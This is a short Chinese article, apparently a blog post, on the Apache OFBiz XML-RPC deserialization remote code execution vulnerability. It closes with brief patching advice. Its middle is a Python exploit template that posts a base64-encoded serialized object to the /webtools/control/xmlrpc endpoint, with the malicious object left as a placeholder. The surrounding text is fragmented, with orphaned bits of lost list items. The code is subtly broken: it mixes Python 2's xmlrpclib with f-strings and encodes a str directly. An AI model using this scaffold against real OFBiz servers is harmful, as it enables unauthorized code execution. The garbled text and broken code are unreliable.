Apache OFBiz 是一个开源的企业资源规划(ERP)系统,其XML-RPC接口曾存在远程代码执行(RCE)漏洞。该漏洞允许攻击者通过精心构造的XML-RPC请求在服务器上执行任意代码。
该漏洞主要源于OFBiz对XML-RPC请求的反序列化处理不当。当攻击者发送包含恶意序列化对象的XML-RPC请求时,OFBiz会不安全地反序列化这些对象,导致任意代码执行。
readObject()
方法/webtools/control/xmlrpc
)import requests
import base64
import xmlrpclib
# 目标URL
target = "http://target-ofbiz-server/webtools/control/xmlrpc"
# 构造恶意payload
payload = """
[恶意序列化对象]
"""
# 发送请求
headers = {'Content-Type': 'text/xml'}
data = f"""<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{base64.b64encode(payload)}</serializable>
</value>
</param>
</params>
</methodCall>"""
response = requests.post(target, headers=headers, data=data)
print(response.text)
/webtools/control/xmlrpc
的访问Apache OFBiz XML-RPC远程代码执行漏洞是一个严重的安全问题,允许攻击者在未授权情况下执行系统命令。通过理解漏洞原理和利用方式,管理员可以更好地保护系统安全。及时应用安全补丁和采取适当的防护措施是防范此类漏洞的关键。